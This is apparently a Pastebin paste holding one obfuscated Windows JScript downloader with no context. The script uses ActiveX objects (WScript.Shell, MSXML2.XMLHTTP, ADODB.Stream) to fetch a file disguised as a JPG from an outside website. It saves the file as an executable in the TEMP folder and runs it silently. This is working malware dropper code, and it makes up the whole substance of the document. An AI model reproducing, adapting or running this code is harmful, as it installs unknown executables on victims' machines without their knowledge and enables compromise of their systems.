Advertisement
Guest User

Untitled

a guest
Mar 9th, 2015
416
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.93 KB | None | 0 0
  1. var _0xc148=["WScript.Shell","%TEMP%","fromCharCode","MSXML2.XMLHTTP","onreadystatechange","readyState","ADODB.Stream","open","type","write","position","saveToFile","close","GET","send","http://complejolomasdelsol.com.ar/images/rep.jpg","83152553.exe"];function dl(_0x3070x2,_0x3070x3,_0x3070x4){var _0x3070x5= new ActiveXObject(_0xc148[0]);var _0x3070x3=_0x3070x5.ExpandEnvironmentStrings(_0xc148[1])+String[_0xc148[2]](92)+_0x3070x3;var _0x3070x6= new ActiveXObject(_0xc148[3]);_0x3070x6[_0xc148[4]]=function(){if(_0x3070x6[_0xc148[5]]===4){var _0x3070x7= new ActiveXObject(_0xc148[6]);_0x3070x7[_0xc148[7]]();_0x3070x7[_0xc148[8]]=1;_0x3070x7[_0xc148[9]](_0x3070x6.ResponseBody);_0x3070x7[_0xc148[10]]=0;_0x3070x7[_0xc148[11]](_0x3070x3,2);_0x3070x7[_0xc148[12]]();}};try{_0x3070x6[_0xc148[7]](_0xc148[13],_0x3070x2,false);_0x3070x6[_0xc148[14]]();if(_0x3070x4>0){_0x3070x5.Run(_0x3070x3,0,0)};}catch(er){};}dl(_0xc148[15],_0xc148[16],1);//ADuY1HUKds
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement